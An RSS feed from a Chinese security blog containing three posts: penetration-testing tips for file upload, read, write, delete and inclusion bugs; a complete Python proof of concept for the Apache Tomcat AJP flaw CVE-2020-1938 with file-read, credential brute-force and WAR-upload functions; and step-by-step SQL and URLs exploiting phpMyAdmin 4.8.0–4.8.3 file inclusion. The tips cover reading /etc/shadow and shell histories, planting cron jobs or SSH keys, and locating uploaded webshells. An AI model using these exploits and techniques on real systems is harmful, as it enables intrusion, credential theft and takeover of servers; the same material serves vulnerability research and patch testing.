<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>文件包含 &#8211; ChaBug安全</title>
	<atom:link href="/tags/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Sat, 27 Jun 2020 07:04:49 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>渗透经验分享之文件操作漏洞拓展</title>
		<link>/web/1811.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 27 Jun 2020 07:04:49 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[文件上传]]></category>
		<category><![CDATA[文件删除]]></category>
		<category><![CDATA[文件包含]]></category>
		<category><![CDATA[文件读取]]></category>
		<category><![CDATA[漏洞]]></category>
		<guid isPermaLink="false">/?p=1811</guid>

					<description><![CDATA[上文分享了注入相关的东西，注入也可以对文件进行操作，本文是对文件操作漏洞的拓展。 文件操作漏洞 文件上传 文件读取 文件写入 文件删除 文件包含 一般java的站点存在文件系列的洞...]]></description>
										<content:encoded><![CDATA[<p>上文分享了注入相关的东西，注入也可以对文件进行操作，本文是对文件操作<span class="wpcom_tag_link"><a href="/tags/%e6%bc%8f%e6%b4%9e" title="漏洞" target="_blank">漏洞</a></span>的拓展。</p>
<h1>文件操作漏洞</h1>
<ol>
<li><span class="wpcom_tag_link"><a href="/tags/%e6%96%87%e4%bb%b6%e4%b8%8a%e4%bc%a0" title="文件上传" target="_blank">文件上传</a></span></li>
<li><span class="wpcom_tag_link"><a href="/tags/%e6%96%87%e4%bb%b6%e8%af%bb%e5%8f%96" title="文件读取" target="_blank">文件读取</a></span></li>
<li>文件写入</li>
<li><span class="wpcom_tag_link"><a href="/tags/%e6%96%87%e4%bb%b6%e5%88%a0%e9%99%a4" title="文件删除" target="_blank">文件删除</a></span></li>
<li><span class="wpcom_tag_link"><a href="/tags/%e6%96%87%e4%bb%b6%e5%8c%85%e5%90%ab" title="文件包含" target="_blank">文件包含</a></span></li>
</ol>
<p>一般java的站点存在文件系列的洞比较多(除了文件包含)。</p>
<h1>文件上传</h1>
<p>在哪最容易发现上传点？注册登陆用户头像、发布文章发布产品、js中的文件上传接口、一些编辑器，甚至还有扫目录扫出来的<code>/uploader</code>路径，访问出现这种405的uploader一般就是上传。比如：<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/84b74880-49ec-26bf-2eaf-e5b565db1e4f.png" alt="image.png" /></p>
<p>这个时候本地构造POST表单就行了，file参数靠猜，有的时候任意参数就行，有的时候post提交过去会报错缺失什么参数，随机应变。<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/cef3ccd8-caca-871a-80d8-8e3b54ba9cb0.png" alt="image.png" /></p>
<p>一般上java的站点扫出来这种uploader比较多，都是上传写的servlet接口。</p>
<p>上传其实upload-labs里的绕过姿势已经非常全面了。拿到一个上传点，首先应该判断能不能正常上传、白名单还是黑名单、怎么校验的在哪校验的，这些没什么好讲的。聊一些比较恶心的文件上传。</p>
<ol>
<li>上传不返回路径</li>
<li>上传不在web目录</li>
</ol>
<p>上传不返回路径多出现在<code>市长邮箱</code>、<code>投诉举报</code>这类功能中，其实这种功能本来就没打算给你返回路径。我的思路一般是找注入点，只要没返回路径的文件上传并且返回给你一个ID给你当作凭据的(此处只是举例，类推)，肯定保存路径在数据库中。找到注入就等于找到了文件路径。</p>
<p>如果没有注入呢？找找日志。比如tp的日志是有规律的，你可以传一个非法文件名<code>1.;</code>，在tp的日志中报错，说不定就有路径。这个我自己是真实碰到的，一个laravel的框架，在laravel.log中报错返回了错误文件名的文件路径，猜出来了shell的路径。</p>
<p>如果没有日志呢？猜。形如<code>/Files/</code>、<code>/uploads/</code>目录，猜要有根据的猜，观察网站的图片和文件地址，以此拼接你的shell文件名，多数以时间戳命名，bp爆破下就行了。</p>
<p>再来说不在web目录的，上传的时候关注下请求包的几个参数，有没有<code>path</code>、<code>filepath</code>、<code>filename</code>、<code>file_prefix</code>，甚至测一下<code>../../1.jpg</code>文件名。如果上传不能跨目录其实你就应该转移关注点了。找文件包含、文件读取。</p>
<p>上传不在web目录的站，有这种功能的很多都有文件读取的洞，因为传上去的文件总归是要下回来的，找找形如<code>download?path=1.jpg</code>这种。拓展思路，举一反三。</p>
<p>另外就是文件包含了，没啥可说的。</p>
<h1>文件读取</h1>
<p>限制条件有两个</p>
<ol>
<li>限制前缀</li>
<li>限制后缀</li>
</ol>
<p>不限制前缀的时候可以通过<code>file</code>协议读文件，php可以通过伪协议读文件，当限制前缀的时候Linux其实还好，可以通过<code>../</code>跳目录，但是windows没办法通过<code>../</code>跳盘符。</p>
<p>限制后缀就比较恶心了，php好像可以用<code>#</code>、<code>?</code>符号去绕过。具体看 <a class="wp-editor-md-post-content-link" href="https://chybeta.github.io/2017/10/08/php%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/#%E6%8C%87%E5%AE%9A%E5%90%8E%E7%BC%80">chybeta师傅的文章</a> 吧。</p>
<p>确定是文件读取之后，如何进一步拿权限？个人习惯先读<code>/etc/passwd</code>，权限够大直接读<code>/etc/shadow</code>，然后根据<code>/etc/passwd</code>读每个用户的<code>.bash_history</code>，读中间件的配置文件，以此判断web的绝对路径。然后逐个读源码，java的话可以读一下war包，搞到代码之后就变得<code>so easy</code>了。</p>
<p>举个例子：文件读取读到了旁站的war包，旁站是一个监控，就一个登陆框，而war包中配置文件里写死了密码，刚好登陆进去直接可以执行命令rce。</p>
<p>weblogic的话可以直接读console账号密码，登陆console部署war包getshell。</p>
<p>反正就是文件读取=60%中间件特性+10%猜+30%运气。</p>
<h1>文件写入</h1>
<p>文件写入拿shell很简单，直接指定web目录和内容就行了。但是这个一般上会有限制，比如内容检测(不能写php标签之类)，文件名检测(不能写<code>.php</code>)。</p>
<ol>
<li>写计划任务<strong>或许</strong>为一个好的选择</li>
<li>覆盖原有配置文件(比如覆盖安装锁)</li>
<li>写ssh</li>
</ol>
<p>文件写入好像没什么好说的，先就这样，想到什么补充什么。</p>
<h1>文件删除</h1>
<p>实战没怎么遇到过这个洞</p>
<ol>
<li>删除配置文件</li>
<li>删除安装锁(造成重装)</li>
<li>删除waf文件<code>include waf.php</code></li>
</ol>
<h1>文件包含</h1>
<p>文件包含多为php站点，所以伪协议读文件这些都是基本操作。不过有一说一，除了ctf中碰到过文件包含，实战中没遇到过。</p>
<p>具体看 <a class="wp-editor-md-post-content-link" href="https://chybeta.github.io/2017/10/08/php%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/">chybeta师傅的文章-php文件包含漏洞</a></p>
<p>需要提一嘴的是phar可以伪装为图片，你可以传一个1.jpg，绕过内容检测，然后用<code>phar://</code>协议包含。还有就是smb包含，php缓存文件包含。</p>
<hr />
<p>或许渗透变化万千的思路才是我真正喜欢他的原因。</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>CNVD-2020-10487 CVE-2020-1938 Apache Tomcat 任意文件读取+文件包含</title>
		<link>/web/1253.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Fri, 21 Feb 2020 13:23:43 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[poc]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[tomcat]]></category>
		<category><![CDATA[文件包含]]></category>
		<category><![CDATA[文件读取]]></category>
		<guid isPermaLink="false">/?p=1253</guid>

					<description><![CDATA[2月20日，国家信息安全漏洞共享平台（CNVD）发布了Apache Tomcat文件包含漏洞（CNVD-2020-10487/CVE-2020-1938）。该漏洞是由于Tomcat...]]></description>
										<content:encoded><![CDATA[<p>2月20日，国家信息安全漏洞共享平台（CNVD）发布了Apache Tomcat<span class="wpcom_tag_link"><a href="/tags/%e6%96%87%e4%bb%b6%e5%8c%85%e5%90%ab" title="文件包含" target="_blank">文件包含</a></span>漏洞（CNVD-2020-10487/CVE-2020-1938）。该漏洞是由于Tomcat AJP协议存在缺陷而导致，攻击者利用该漏洞可通过构造特定参数，读取服务器webapp下的任意文件。若目标服务器同时存在文件上传功能，攻击者可进一步实现远程代码执行。目前，厂商已发布新版本完成漏洞修复。</p>
<h2>一、漏洞概述</h2>
<p>2月20日，国家信息安全漏洞共享平台（CNVD）发布了Apache Tomcat文件包含漏洞（CNVD-2020-10487/CVE-2020-1938）。该漏洞是由于Tomcat AJP协议存在缺陷而导致，攻击者利用该漏洞可通过构造特定参数，读取服务器webapp下的任意文件。若目标服务器同时存在文件上传功能，攻击者可进一步实现远程代码执行。目前，厂商已发布新版本完成漏洞修复。</p>
<p>Tomcat是Apache软件基金会中的一个重要项目，性能稳定且免费，是目前较为流行的Web应用服务器。由于Tomcat应用范围较广，因此本次通告的漏洞影响范围较大，请相关用户及时采取防护措施修复此漏洞。</p>
<p>参考链接：https://www.cnvd.org.cn/webinfo/show/5415</p>
<h2>二、影响范围</h2>
<p>受影响版本</p>
<ol>
<li>Apache Tomcat 6</li>
<li>Apache Tomcat 7 &lt; 7.0.100</li>
<li>Apache Tomcat 8 &lt; 8.5.51</li>
<li>Apache Tomcat 9 &lt; 9.0.31</li>
</ol>
<p>不受影响版本<br />
1. Apache Tomcat = 7.0.100<br />
2. Apache Tomcat = 8.5.51<br />
3. Apache Tomcat = 9.0.31</p>
<h2>三、POC</h2>
<p><span class="wpcom_tag_link"><a href="/tags/poc" title="poc" target="_blank">poc</a></span>1来源自GitHub https://raw.githubusercontent.com/nibiwodong/CNVD-2020-10487-Tomcat-ajp-POC/master/poc.py</p>
<pre><code class="language-python ">#!/usr/bin/env python
#
# Julien Legras - Synacktiv
#
# THIS SOFTWARE IS PROVIDED BY SYNACKTIV ''AS IS'' AND ANY
# EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
# DISCLAIMED. IN NO EVENT SHALL SYNACKTIV BE LIABLE FOR ANY
# DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

from ajpy.ajp import AjpResponse, AjpForwardRequest, AjpBodyRequest, NotFoundException
from pprint import pprint, pformat

import socket
import argparse
import logging
import re
import os
from StringIO import StringIO
import logging
from colorlog import ColoredFormatter
from urllib import unquote


def setup_logger():
    """Return a logger with a default ColoredFormatter."""
    formatter = ColoredFormatter(
        "[%(asctime)s.%(msecs)03d] %(log_color)s%(levelname)-8s%(reset)s %(white)s%(message)s",
        datefmt="%Y-%m-%d %H:%M:%S",
        reset=True,
        log_colors={
            'DEBUG': 'bold_purple',
            'INFO': 'bold_green',
            'WARNING': 'bold_yellow',
            'ERROR': 'bold_red',
            'CRITICAL': 'bold_red',
        }
    )

    logger = logging.getLogger('meow')
    handler = logging.StreamHandler()
    handler.setFormatter(formatter)
    logger.addHandler(handler)
    logger.setLevel(logging.DEBUG)

    return logger


logger = setup_logger()


# helpers
def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
    fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
    fr.method = method
    fr.protocol = "HTTP/1.1"
    fr.req_uri = req_uri
    fr.remote_addr = target_host
    fr.remote_host = None
    fr.server_name = target_host
    fr.server_port = 80
    fr.request_headers = {
        'SC_REQ_ACCEPT': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
        'SC_REQ_CONNECTION': 'keep-alive',
        'SC_REQ_CONTENT_LENGTH': '0',
        'SC_REQ_HOST': target_host,
        'SC_REQ_USER_AGENT': 'Mozilla/5.0 (X11; Linux x86_64; rv:46.0) Gecko/20100101 Firefox/46.0',
        'Accept-Encoding': 'gzip, deflate, sdch',
        'Accept-Language': 'en-US,en;q=0.5',
        'Upgrade-Insecure-Requests': '1',
        'Cache-Control': 'max-age=0'
    }
    fr.is_ssl = False

    fr.attributes = []

    return fr


class Tomcat(object):
    def __init__(self, target_host, target_port):
        self.target_host = target_host
        self.target_port = target_port

        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.socket.connect((target_host, target_port))
        self.stream = self.socket.makefile("rb", bufsize=0)

    def test_password(self, user, password):
        res = False
        stop = False
        self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode(
            'base64').replace('\n', '')
        while not stop:
            logger.debug("testing %s:%s" % (user, password))
            responses = self.forward_request.send_and_receive(self.socket, self.stream)
            snd_hdrs_res = responses[0]
            if snd_hdrs_res.http_status_code == 404:
                raise NotFoundException("The req_uri %s does not exist!" % self.req_uri)
            elif snd_hdrs_res.http_status_code == 302:
                self.req_uri = snd_hdrs_res.response_headers.get('Location', '')
                logger.info("Redirecting to %s" % self.req_uri)
                self.forward_request.req_uri = self.req_uri
            elif snd_hdrs_res.http_status_code == 200:
                logger.info("Found valid credz: %s:%s" % (user, password))
                res = True
                stop = True
                if 'Set-Cookie' in snd_hdrs_res.response_headers:
                    logger.info("Here is your cookie: %s" % (snd_hdrs_res.response_headers.get('Set-Cookie', '')))
            elif snd_hdrs_res.http_status_code == 403:
                logger.info("Found valid credz: %s:%s but the user is not authorized to access this resource" % (
                    user, password))
                stop = True
            elif snd_hdrs_res.http_status_code == 401:
                stop = True

        return res

    def start_bruteforce(self, users, passwords, req_uri, autostop):
        logger.info("Attacking a tomcat at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
        self.req_uri = req_uri
        self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri)

        f_users = open(users, "r")
        f_passwords = open(passwords, "r")

        valid_credz = []
        try:
            for user in f_users:
                f_passwords.seek(0, 0)
                for password in f_passwords:
                    if autostop and len(valid_credz) &gt; 0:
                        self.socket.close()
                        return valid_credz

                    user = user.rstrip('\n')
                    password = password.rstrip('\n')
                    if self.test_password(user, password):
                        valid_credz.append((user, password))
        except NotFoundException as e:
            logger.fatal(e.message)
        finally:
            logger.debug("Closing socket...")
            self.socket.close()
            return valid_credz

    def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
        self.req_uri = req_uri
        self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri,
                                                           method=AjpForwardRequest.REQUEST_METHODS.get(method))
        logger.debug("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
        if user is not None and password is not None:
            self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + (
                    "%s:%s" % (user, password)).encode('base64').replace('\n', '')

        for h in headers:
            self.forward_request.request_headers[h] = headers[h]

        for a in attributes:
            self.forward_request.attributes.append(a)

        responses = self.forward_request.send_and_receive(self.socket, self.stream)
        print(responses)
        if len(responses) == 0:
            return None, None

        snd_hdrs_res = responses[0]

        data_res = responses[1:-1]
        if len(data_res) == 0:
            logger.info("No data in response. Headers:\n %s" % pformat(vars(snd_hdrs_res)))

        return snd_hdrs_res, data_res

    def upload(self, filename, user, password, old_version, headers={}):
        deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers)
        with open(filename, "rb") as f_input:
            with open("/tmp/request", "w+b") as f:
                s_form_header = '------WebKitFormBoundaryb2qpuwMoVtQJENti\r\nContent-Disposition: form-data; name="deployWar"; filename="%s"\r\nContent-Type: application/octet-stream\r\n\r\n' % os.path.basename(
                    filename)
                s_form_footer = '\r\n------WebKitFormBoundaryb2qpuwMoVtQJENti--\r\n'
                f.write(s_form_header)
                f.write(f_input.read())
                f.write(s_form_footer)

        data_len = os.path.getsize("/tmp/request")

        headers = {
            "SC_REQ_CONTENT_TYPE": "multipart/form-data; boundary=----WebKitFormBoundaryb2qpuwMoVtQJENti",
            "SC_REQ_CONTENT_LENGTH": "%d" % data_len,
            "SC_REQ_REFERER": "http://%s/manager/html/" % (self.target_host),
            "Origin": "http://%s/" % (self.target_host),
        }
        if obj_cookie is not None:
            headers["SC_REQ_COOKIE"] = obj_cookie.group('cookie')

        attributes = [{"name": "req_attribute", "value": ("JK_LB_ACTIVATION", "ACT")},
                      {"name": "req_attribute", "value": ("AJP_REMOTE_PORT", "12345")}]
        if old_version == False:
            attributes.append({"name": "query_string", "value": deploy_csrf_token})
        old_apps = self.list_installed_applications(user, password, old_version)
        r = self.perform_request("/manager/html/upload", headers=headers, method="POST", user=user, password=password,
                                 attributes=attributes)

        with open("/tmp/request", "rb") as f:
            br = AjpBodyRequest(f, data_len, AjpBodyRequest.SERVER_TO_CONTAINER)
            br.send_and_receive(self.socket, self.stream)

        r = AjpResponse.receive(self.stream)
        if r.prefix_code == AjpResponse.END_RESPONSE:
            logger.error('Upload failed')

        while r.prefix_code != AjpResponse.END_RESPONSE:
            r = AjpResponse.receive(self.stream)
        logger.debug('Upload seems normal. Checking...')
        new_apps = self.list_installed_applications(user, password, old_version)
        if len(new_apps) == len(old_apps) + 1 and new_apps[:-1] == old_apps:
            logger.info('Upload success!')
        else:
            logger.error('Upload failed')

    def get_error_page(self):
        return self.perform_request("/blablablablabla")

    def get_version(self):
        hdrs, data = self.get_error_page()
        for d in data:
            s = re.findall('(Apache Tomcat/[0-9\.]+) ', d.data)
            if len(s) &gt; 0:
                return s[0]

    def get_csrf_token(self, user, password, old_version, headers={}, query=[]):
        # first we request the manager page to get the CSRF token
        hdrs, rdata = self.perform_request("/manager/html", headers=headers, user=user, password=password)
        deploy_csrf_token = re.findall('(org.apache.catalina.filters.CSRF_NONCE=[0-9A-F]*)"',
                                       "".join([d.data for d in rdata]))
        if old_version == False:
            if len(deploy_csrf_token) == 0:
                logger.critical("Failed to get CSRF token. Check the credentials")
                return

            logger.debug('CSRF token = %s' % deploy_csrf_token[0])
        obj = re.match("(?P&lt;cookie&gt;JSESSIONID=[0-9A-F]*); Path=/manager(/)?; HttpOnly",
                       hdrs.response_headers.get('Set-Cookie', ''))
        if obj is not None:
            return deploy_csrf_token[0], obj
        return deploy_csrf_token[0], None

    def list_installed_applications(self, user, password, old_version, headers={}):
        deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers)
        headers = {
            "SC_REQ_CONTENT_TYPE": "application/x-www-form-urlencoded",
            "SC_REQ_CONTENT_LENGTH": "0",
            "SC_REQ_REFERER": "http://%s/manager/html/" % (self.target_host),
            "Origin": "http://%s/" % (self.target_host),
        }
        if obj_cookie is not None:
            headers["SC_REQ_COOKIE"] = obj_cookie.group('cookie')

        attributes = [{"name": "req_attribute", "value": ("JK_LB_ACTIVATION", "ACT")},
                      {"name": "req_attribute",
                       "value": ("AJP_REMOTE_PORT", "{}".format(self.socket.getsockname()[1]))}]
        if old_version == False:
            attributes.append({
                "name": "query_string", "value": "%s" % deploy_csrf_token})
        hdrs, data = self.perform_request("/manager/html/", headers=headers, method="GET", user=user, password=password,
                                          attributes=attributes)
        found = []
        for d in data:
            im = re.findall('/manager/html/expire\?path=([^&amp;]*)&amp;', d.data)
            for app in im:
                found.append(unquote(app))
        return found

    def undeploy(self, path, user, password, old_version, headers={}):
        deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers)
        path_app = "path=%s" % path
        headers = {
            "SC_REQ_CONTENT_TYPE": "application/x-www-form-urlencoded",
            "SC_REQ_CONTENT_LENGTH": "0",
            "SC_REQ_REFERER": "http://%s/manager/html/" % (self.target_host),
            "Origin": "http://%s/" % (self.target_host),
        }
        if obj_cookie is not None:
            headers["SC_REQ_COOKIE"] = obj_cookie.group('cookie')

        attributes = [{"name": "req_attribute", "value": ("JK_LB_ACTIVATION", "ACT")},
                      {"name": "req_attribute",
                       "value": ("AJP_REMOTE_PORT", "{}".format(self.socket.getsockname()[1]))}]
        if old_version == False:
            attributes.append({
                "name": "query_string", "value": "%s&amp;%s" % (path_app, deploy_csrf_token)})
        r = self.perform_request("/manager/html/undeploy", headers=headers, method="POST", user=user, password=password,
                                 attributes=attributes)
        r = AjpResponse.receive(self.stream)
        if r.prefix_code == AjpResponse.END_RESPONSE:
            logger.error('Undeploy failed')

        # Check the successful message
        found = False
        regex = r'&lt;small&gt;&lt;strong&gt;Message:&lt;\/strong&gt;&lt;\/small&gt; &lt;\/td&gt;\s*&lt;td class="row-left"&gt;&lt;pre&gt;(OK - .*' + path + ')\s*&lt;\/pre&gt;&lt;\/td&gt;'
        while r.prefix_code != AjpResponse.END_RESPONSE:
            r = AjpResponse.receive(self.stream)
            if r.prefix_code == 3:
                f = re.findall(regex, r.data)
                if len(f) &gt; 0:
                    found = True
        if found:
            logger.info('Undeploy succeed')
        else:
            logger.error('Undeploy failed')


if __name__ == "__main__":


    parser = argparse.ArgumentParser()
    parser.add_argument('target', type=str, help="Hostname or IP to attack")
    parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
    parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
    args = parser.parse_args()
    bf = Tomcat(args.target, args.port)
    attributes = [
        {'name': 'req_attribute', 'value': ['javax.servlet.include.request_uri', '/']},
        {'name': 'req_attribute', 'value': ['javax.servlet.include.path_info', args.file]},
        {'name': 'req_attribute', 'value': ['javax.servlet.include.servlet_path', '/']},
    ]
    snd_hdrs_res, data_res = bf.perform_request(req_uri='/',method='GET', attributes=attributes)
    print("".join([d.data for d in data_res]))
</code></pre>
<p>目前跨不出webapps</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Phpmyadmin4.8.0~4.8.3任意文件包含</title>
		<link>/web/628.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Fri, 21 Dec 2018 00:41:32 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[phpmyadmin]]></category>
		<category><![CDATA[文件包含]]></category>
		<category><![CDATA[漏洞]]></category>
		<guid isPermaLink="false">/?p=628</guid>

					<description><![CDATA[前言 2018年12月7日，phpmyadmin官方发布公告修复了一个由Transformation特性引起的任意文件包含漏洞。 漏洞分析 Transformation是phpMy...]]></description>
										<content:encoded><![CDATA[<h2 id="前言">前言</h2>
<p>2018年12月7日，<span class="wpcom_tag_link"><a href="/tags/phpmyadmin" title="phpmyadmin" target="_blank">phpmyadmin</a></span>官方发布<a href="https://www.phpmyadmin.net/security/PMASA-2018-6/">公告</a>修复了一个由<code>Transformation</code>特性引起的任意<span class="wpcom_tag_link"><a href="/tags/%e6%96%87%e4%bb%b6%e5%8c%85%e5%90%ab" title="文件包含" target="_blank">文件包含</a></span><span class="wpcom_tag_link"><a href="/tags/%e6%bc%8f%e6%b4%9e" title="漏洞" target="_blank">漏洞</a></span>。</p>
<h2 id="漏洞分析">漏洞分析</h2>
<p><code>Transformation</code>是phpMyAdmin中的一个高级功能，通过<code>Transformation</code>可以对每个字段的内容使用不同的转换，每个字段中的内容将被预定义的规则所转换。比如我们有一个存有文件名的字段<code>Filename</code>，正常情况下 phpMyAdmin 只会将路径显示出来。但是通过<code>Transformation</code>我们可以将该字段转换成超链接，我们就能直接在 phpMyAdmin 中点击并在浏览器的新窗口中看到这个文件。</p>
<p>通常情况下Transformation的规则存储在每个数据库的<code>pma__column_info</code>表中，而在phpMyAdmin 4.8.0~4.8.3版本中，由于对转换参数处理不当，导致了任意文件包含漏洞的出现。</p>
<p>这些转换在phpMyAdmin的<code>column_info</code>表中定义，他通常已经存在于phpMyAdmin的系统表中。但是每个数据库都可以生成自己的版本。要为特定数据库生成phpmyadmin系统表，可以这样生成</p>
<pre class="lang:default decode:true line-numbers language-http">http://phpmyadmin/chk_rel.php?fixall_pmadb=1&amp;db=*yourdb*</pre>
<p>它将会创建一个<code>pma__*</code>表的集合到你数据库中。</p>
<p>说了这么多，我们来看下具体产生漏洞的代码<code>tbl_replace.php</code></p>
<pre class="lang:default decode:true line-numbers language-php">&lt;?php

$mime_map = Transformations::getMIME($GLOBALS['db'], $GLOBALS['table']);
[省略]
// Apply Input Transformation if defined
if (!empty($mime_map[$column_name])
&amp;&amp; !empty($mime_map[$column_name]['input_transformation'])
) {
   $filename = 'libraries/classes/Plugins/Transformations/'
. $mime_map[$column_name]['input_transformation'];
   if (is_file($filename)) {
      include_once $filename;
      $classname = Transformations::getClassName($filename);
      /** @var IOTransformationsPlugin $transformation_plugin */
      $transformation_plugin = new $classname();
      $transformation_options = Transformations::getOptions(
         $mime_map[$column_name]['input_transformation_options']
      );
      $current_value = $transformation_plugin-&gt;applyTransformation(
         $current_value, $transformation_options
      );
      // check if transformation was successful or not
      // and accordingly set error messages &amp; insert_fail
      if (method_exists($transformation_plugin, 'isSuccess')
&amp;&amp; !$transformation_plugin-&gt;isSuccess()
) {
         $insert_fail = true;
         $row_skipped = true;
         $insert_errors[] = sprintf(
            __('Row: %1$s, Column: %2$s, Error: %3$s'),
            $rownumber, $column_name,
            $transformation_plugin-&gt;getError()
         );
      }
   }
}</pre>
<p>拼接到<code>$filename</code>的变量<code>$mime_map[$column_name]['input_transformation']</code>来自于数据表<code>pma__column_info</code>中的<code>input_transformation</code>字段，因为数据库中的内容用户可控，从而产生了任意文件包含漏洞。</p>
<h2 id="漏洞利用">漏洞利用</h2>
<ol>
<li>创建一个新的数据库<code>foo</code>和一个随机的<code>bar</code>表，在表中创建一个<code>baz</code>字段，然后把我们的php代码写入session
<pre class="lang:default decode:true line-numbers language-sql">CREATE DATABASE foo;
CREATE TABLE foo.bar ( baz VARCHAR(255) PRIMARY KEY );
INSERT INTO foo.bar SELECT '&lt;?php phpinfo() ?&gt;';</pre>
</li>
<li>创建phpmyadmin系统表在你的<code>foo</code>数据库中
<pre class="lang:default decode:true line-numbers language-http">http://phpmyadmin/chk_rel.php?fixall_pmadb=1&amp;db=foo</pre>
</li>
<li>将篡改后的<code>Transformation</code>数据插入表<code>pma__columninfo</code>中：将<code>yourSessionId</code>替换成你的会话ID，即COOKIE中phpMyAdmin的值
<pre class="lang:default decode:true line-numbers language-sql">INSERT INTO `pma__column_info`SELECT '1', 'foo', 'bar', 'baz', 'plop',
'plop', 'plop', 'plop',
'../../tmp/sess_{yourSessionId}','plop';</pre>
</li>
<li>然后访问
<pre class="lang:default decode:true line-numbers language-http">http://phpmyadmin/tbl_replace.php?db=foo&amp;table=bar&amp;where_clause=1=1&amp;fields_name[multi_edit][][]=baz&amp;clause_is_unique=1</pre>
<p>如果利用成功，则会返回<code>phpinfo();</code></li>
</ol>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
